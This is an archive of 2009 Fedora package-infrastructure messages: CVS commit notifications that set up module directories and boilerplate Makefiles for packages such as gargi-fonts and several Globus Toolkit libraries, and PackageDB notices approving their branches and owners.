Message-ID: <20091019162327.627D711C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-fsvol/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsR22609/rpms/sblim-cmpi-fsvol/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-cmpi-fsvol


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-cmpi-fsvol
# $Id: Makefile,v 1.1 2009/10/19 16:23:27 kevin Exp $
NAME := sblim-cmpi-fsvol
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:57 +0000
Subject: [pkgdb] gargi-fonts was added for ankursinha
Message-ID: <20091019162357.9946110F850@bastion2.fedora.phx.redhat.com>

kevin has added Package gargi-fonts with summary A Free Unicode OpenType Font
kevin has approved Package gargi-fonts
kevin has added a Fedora devel branch for gargi-fonts with an owner of ankursinha
kevin has approved gargi-fonts in Fedora devel
kevin has approved Package gargi-fonts
kevin has set commit to Approved for 107427 on gargi-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on gargi-fonts (Fedora devel)
kevin has set build to Approved for 107427 on gargi-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gargi-fonts



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:59 +0000
Subject: [pkgdb] gargi-fonts summary updated by kevin
Message-ID: <20091019162359.6F10D10F880@bastion2.fedora.phx.redhat.com>

kevin set package gargi-fonts summary to A Free Unicode OpenType Font

To make changes to this package see:
  /pkgdb/packages/name/gargi-fonts



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:59 +0000
Subject: [pkgdb] gargi-fonts (Fedora, 10) updated by kevin
Message-ID: <20091019162359.7319610F892@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for gargi-fonts
kevin has set commit to Approved for 107427 on gargi-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on gargi-fonts (Fedora 11)
kevin has set build to Approved for 107427 on gargi-fonts (Fedora 11)
kevin approved watchbugzilla on gargi-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on gargi-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gargi-fonts



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:59 +0000
Subject: [pkgdb] gargi-fonts (Fedora, 10) updated by kevin
Message-ID: <20091019162359.9735A10F8B4@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on gargi-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on gargi-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gargi-fonts



From kevin at fedoraproject.org  Mon Oct 19 16:24:08 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:24:08 +0000 (UTC)
Subject: rpms/gargi-fonts - New directory
Message-ID: <20091019162408.18CDB11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gargi-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsY23047/rpms/gargi-fonts

Log Message:
Directory /cvs/pkgs/rpms/gargi-fonts added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:24:08 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:24:08 +0000 (UTC)
Subject: rpms/gargi-fonts/devel - New directory
Message-ID: <20091019162408.386C911C02A1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gargi-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsY23047/rpms/gargi-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/gargi-fonts/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:24:15 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:24:15 +0000 (UTC)
Subject: rpms/gargi-fonts Makefile,NONE,1.1
Message-ID: <20091019162415.B88D211C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gargi-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsY23047/rpms/gargi-fonts

Added Files:
	Makefile 
Log Message:
Setup of module gargi-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module gargi-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:24:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:24:16 +0000 (UTC)
Subject: rpms/gargi-fonts/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091019162416.11ABA11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gargi-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsY23047/rpms/gargi-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module gargi-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: gargi-fonts
# $Id: Makefile,v 1.1 2009/10/19 16:24:15 kevin Exp $
NAME := gargi-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 16:24:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:24:40 +0000
Subject: [pkgdb] globus-gridftp-server-control was added for ellert
Message-ID: <20091019162441.1567510F86E@bastion2.fedora.phx.redhat.com>

kevin has added Package globus-gridftp-server-control with summary Globus Toolkit - Globus GridFTP Server Library
kevin has approved Package globus-gridftp-server-control
kevin has added a Fedora devel branch for globus-gridftp-server-control with an owner of ellert
kevin has approved globus-gridftp-server-control in Fedora devel
kevin has approved Package globus-gridftp-server-control
kevin has set commit to Approved for 107427 on globus-gridftp-server-control (Fedora devel)
kevin has set checkout to Approved for 107427 on globus-gridftp-server-control (Fedora devel)
kevin has set build to Approved for 107427 on globus-gridftp-server-control (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/globus-gridftp-server-control



From pkgdb at fedoraproject.org  Mon Oct 19 16:24:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:24:42 +0000
Subject: [pkgdb] globus-gridftp-server-control summary updated by kevin
Message-ID: <20091019162442.2542310F850@bastion2.fedora.phx.redhat.com>

kevin set package globus-gridftp-server-control summary to Globus Toolkit - Globus GridFTP Server Library

To make changes to this package see:
  /pkgdb/packages/name/globus-gridftp-server-control



From pkgdb at fedoraproject.org  Mon Oct 19 16:24:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:24:42 +0000
Subject: [pkgdb] globus-gridftp-server-control (Fedora EPEL,
	4) updated by kevin
Message-ID: <20091019162442.B9BF910F894@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for globus-gridftp-server-control
kevin has set commit to Approved for 107427 on globus-gridftp-server-control (Fedora 11)
kevin has set checkout to Approved for 107427 on globus-gridftp-server-control (Fedora 11)
kevin has set build to Approved for 107427 on globus-gridftp-server-control (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/globus-gridftp-server-control



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:59 +0000
Subject: [pkgdb] gargi-fonts (Fedora, 10) updated by kevin
Message-ID: <20091019162359.8055310F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for gargi-fonts
kevin has set commit to Approved for 107427 on gargi-fonts (Fedora 10)
kevin has set checkout to Approved for 107427 on gargi-fonts (Fedora 10)
kevin has set build to Approved for 107427 on gargi-fonts (Fedora 10)
kevin approved watchbugzilla on gargi-fonts (Fedora 10) for fonts-sig
kevin approved watchcommits on gargi-fonts (Fedora 10) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gargi-fonts



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:59 +0000
Subject: [pkgdb] gargi-fonts (Fedora, 10) updated by kevin
Message-ID: <20091019162359.8304A10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for gargi-fonts
kevin has set commit to Approved for 107427 on gargi-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on gargi-fonts (Fedora 12)
kevin has set build to Approved for 107427 on gargi-fonts (Fedora 12)
kevin approved watchbugzilla on gargi-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on gargi-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gargi-fonts



From pkgdb at fedoraproject.org  Mon Oct 19 16:24:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:24:42 +0000
Subject: [pkgdb] globus-gridftp-server-control (Fedora EPEL,
	4) updated by kevin
Message-ID: <20091019162442.D35AB10F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for globus-gridftp-server-control
kevin has set commit to Approved for 107427 on globus-gridftp-server-control (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on globus-gridftp-server-control (Fedora EPEL 5)
kevin has set build to Approved for 107427 on globus-gridftp-server-control (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/globus-gridftp-server-control



From pkgdb at fedoraproject.org  Mon Oct 19 16:24:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:24:42 +0000
Subject: [pkgdb] globus-gridftp-server-control (Fedora EPEL,
	4) updated by kevin
Message-ID: <20091019162442.E636E10F87F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for globus-gridftp-server-control
kevin has set commit to Approved for 107427 on globus-gridftp-server-control (Fedora 12)
kevin has set checkout to Approved for 107427 on globus-gridftp-server-control (Fedora 12)
kevin has set build to Approved for 107427 on globus-gridftp-server-control (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/globus-gridftp-server-control



From pkgdb at fedoraproject.org  Mon Oct 19 16:24:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:24:42 +0000
Subject: [pkgdb] globus-gridftp-server-control (Fedora EPEL,
	4) updated by kevin
Message-ID: <20091019162443.0649710F8C4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for globus-gridftp-server-control
kevin has set commit to Approved for 107427 on globus-gridftp-server-control (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on globus-gridftp-server-control (Fedora EPEL 4)
kevin has set build to Approved for 107427 on globus-gridftp-server-control (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/globus-gridftp-server-control



From kevin at fedoraproject.org  Mon Oct 19 16:24:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:24:51 +0000 (UTC)
Subject: rpms/globus-gridftp-server-control - New directory
Message-ID: <20091019162451.190D911C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gridftp-server-control
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsk23430/rpms/globus-gridftp-server-control

Log Message:
Directory /cvs/pkgs/rpms/globus-gridftp-server-control added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:24:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:24:59 +0000 (UTC)
Subject: rpms/globus-gridftp-server-control Makefile,NONE,1.1
Message-ID: <20091019162459.781F411C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gridftp-server-control
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsk23430/rpms/globus-gridftp-server-control

Added Files:
	Makefile 
Log Message:
Setup of module globus-gridftp-server-control


--- NEW FILE Makefile ---
# Top level Makefile for module globus-gridftp-server-control
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:24:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:24:51 +0000 (UTC)
Subject: rpms/globus-gridftp-server-control/devel - New directory
Message-ID: <20091019162451.50EA211C02A1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gridftp-server-control/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsk23430/rpms/globus-gridftp-server-control/devel

Log Message:
Directory /cvs/pkgs/rpms/globus-gridftp-server-control/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:24:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:24:59 +0000 (UTC)
Subject: rpms/globus-gridftp-server-control/devel .cvsignore, NONE,
	1.1 Makefile, NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091019162459.AAB1E11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gridftp-server-control/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsk23430/rpms/globus-gridftp-server-control/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module globus-gridftp-server-control


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: globus-gridftp-server-control
# $Id: Makefile,v 1.1 2009/10/19 16:24:59 kevin Exp $
NAME := globus-gridftp-server-control
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 16:25:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:25:24 +0000
Subject: [pkgdb] globus-gram-client was added for ellert
Message-ID: <20091019162524.7A56E10F880@bastion2.fedora.phx.redhat.com>

kevin has added Package globus-gram-client with summary Globus Toolkit - GRAM Client Library
kevin has approved Package globus-gram-client
kevin has added a Fedora devel branch for globus-gram-client with an owner of ellert
kevin has approved globus-gram-client in Fedora devel
kevin has approved Package globus-gram-client
kevin has set commit to Approved for 107427 on globus-gram-client (Fedora devel)
kevin has set checkout to Approved for 107427 on globus-gram-client (Fedora devel)
kevin has set build to Approved for 107427 on globus-gram-client (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-client



From pkgdb at fedoraproject.org  Mon Oct 19 16:25:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:25:26 +0000
Subject: [pkgdb] globus-gram-client summary updated by kevin
Message-ID: <20091019162526.9382410F894@bastion2.fedora.phx.redhat.com>

kevin set package globus-gram-client summary to Globus Toolkit - GRAM Client Library

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-client



From pkgdb at fedoraproject.org  Mon Oct 19 16:25:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:25:26 +0000
Subject: [pkgdb] globus-gram-client (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162526.9CBD510F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for globus-gram-client
kevin has set commit to Approved for 107427 on globus-gram-client (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on globus-gram-client (Fedora EPEL 5)
kevin has set build to Approved for 107427 on globus-gram-client (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-client



From pkgdb at fedoraproject.org  Mon Oct 19 16:25:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:25:26 +0000
Subject: [pkgdb] globus-gram-client (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162526.A6BAF10F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for globus-gram-client
kevin has set commit to Approved for 107427 on globus-gram-client (Fedora 11)
kevin has set checkout to Approved for 107427 on globus-gram-client (Fedora 11)
kevin has set build to Approved for 107427 on globus-gram-client (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-client



From pkgdb at fedoraproject.org  Mon Oct 19 16:25:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:25:26 +0000
Subject: [pkgdb] globus-gram-client (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162526.B356510F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for globus-gram-client
kevin has set commit to Approved for 107427 on globus-gram-client (Fedora 12)
kevin has set checkout to Approved for 107427 on globus-gram-client (Fedora 12)
kevin has set build to Approved for 107427 on globus-gram-client (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-client



From pkgdb at fedoraproject.org  Mon Oct 19 16:25:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:25:26 +0000
Subject: [pkgdb] globus-gram-client (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162526.CBA4F10F8B8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for globus-gram-client
kevin has set commit to Approved for 107427 on globus-gram-client (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on globus-gram-client (Fedora EPEL 4)
kevin has set build to Approved for 107427 on globus-gram-client (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-client



From kevin at fedoraproject.org  Mon Oct 19 16:25:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:25:34 +0000 (UTC)
Subject: rpms/globus-gram-client - New directory
Message-ID: <20091019162534.1651511C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gram-client
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvso23862/rpms/globus-gram-client

Log Message:
Directory /cvs/pkgs/rpms/globus-gram-client added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:25:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:25:34 +0000 (UTC)
Subject: rpms/globus-gram-client/devel - New directory
Message-ID: <20091019162534.4ABB211C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gram-client/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvso23862/rpms/globus-gram-client/devel

Log Message:
Directory /cvs/pkgs/rpms/globus-gram-client/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:25:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:25:41 +0000 (UTC)
Subject: rpms/globus-gram-client Makefile,NONE,1.1
Message-ID: <20091019162541.AA56D11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gram-client
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvso23862/rpms/globus-gram-client

Added Files:
	Makefile 
Log Message:
Setup of module globus-gram-client


--- NEW FILE Makefile ---
# Top level Makefile for module globus-gram-client
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:25:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:25:41 +0000 (UTC)
Subject: rpms/globus-gram-client/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091019162541.E19CE11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gram-client/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvso23862/rpms/globus-gram-client/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module globus-gram-client


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: globus-gram-client
# $Id: Makefile,v 1.1 2009/10/19 16:25:41 kevin Exp $
NAME := globus-gram-client
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 16:25:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:25:58 +0000
Subject: [pkgdb] globus-gatekeeper was added for ellert
Message-ID: <20091019162558.C754E10F88F@bastion2.fedora.phx.redhat.com>

kevin has added Package globus-gatekeeper with summary Globus Toolkit - Globus Gatekeeper
kevin has approved Package globus-gatekeeper
kevin has added a Fedora devel branch for globus-gatekeeper with an owner of ellert
kevin has approved globus-gatekeeper in Fedora devel
kevin has approved Package globus-gatekeeper
kevin has set commit to Approved for 107427 on globus-gatekeeper (Fedora devel)
kevin has set checkout to Approved for 107427 on globus-gatekeeper (Fedora devel)
kevin has set build to Approved for 107427 on globus-gatekeeper (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/globus-gatekeeper



From pkgdb at fedoraproject.org  Mon Oct 19 16:26:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:26:00 +0000
Subject: [pkgdb] globus-gatekeeper summary updated by kevin
Message-ID: <20091019162600.63F2C10F895@bastion2.fedora.phx.redhat.com>

kevin set package globus-gatekeeper summary to Globus Toolkit - Globus Gatekeeper

To make changes to this package see:
  /pkgdb/packages/name/globus-gatekeeper



From pkgdb at fedoraproject.org  Mon Oct 19 16:26:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:26:00 +0000
Subject: [pkgdb] globus-gatekeeper (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162600.6E3AF10F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for globus-gatekeeper
kevin has set commit to Approved for 107427 on globus-gatekeeper (Fedora 11)
kevin has set checkout to Approved for 107427 on globus-gatekeeper (Fedora 11)
kevin has set build to Approved for 107427 on globus-gatekeeper (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/globus-gatekeeper



From pkgdb at fedoraproject.org  Mon Oct 19 16:26:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:26:00 +0000
Subject: [pkgdb] globus-gatekeeper (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162600.7B25710F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for globus-gatekeeper
kevin has set commit to Approved for 107427 on globus-gatekeeper (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on globus-gatekeeper (Fedora EPEL 4)
kevin has set build to Approved for 107427 on globus-gatekeeper (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/globus-gatekeeper



From pkgdb at fedoraproject.org  Mon Oct 19 16:26:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:26:00 +0000
Subject: [pkgdb] globus-gatekeeper (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162600.8A8CD10F8B6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for globus-gatekeeper
kevin has set commit to Approved for 107427 on globus-gatekeeper (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on globus-gatekeeper (Fedora EPEL 5)
kevin has set build to Approved for 107427 on globus-gatekeeper (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/globus-gatekeeper



From kevin at fedoraproject.org  Mon Oct 19 16:26:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:26:09 +0000 (UTC)
Subject: rpms/globus-gatekeeper/devel - New directory
Message-ID: <20091019162609.3652611C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gatekeeper/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv24173/rpms/globus-gatekeeper/devel

Log Message:
Directory /cvs/pkgs/rpms/globus-gatekeeper/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:26:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:26:16 +0000 (UTC)
Subject: rpms/globus-gatekeeper Makefile,NONE,1.1
Message-ID: <20091019162616.BA62011C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gatekeeper
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv24173/rpms/globus-gatekeeper

Added Files:
	Makefile 
Log Message:
Setup of module globus-gatekeeper


--- NEW FILE Makefile ---
# Top level Makefile for module globus-gatekeeper
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:26:17 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:26:17 +0000 (UTC)
Subject: rpms/globus-gatekeeper/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091019162617.0763C11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

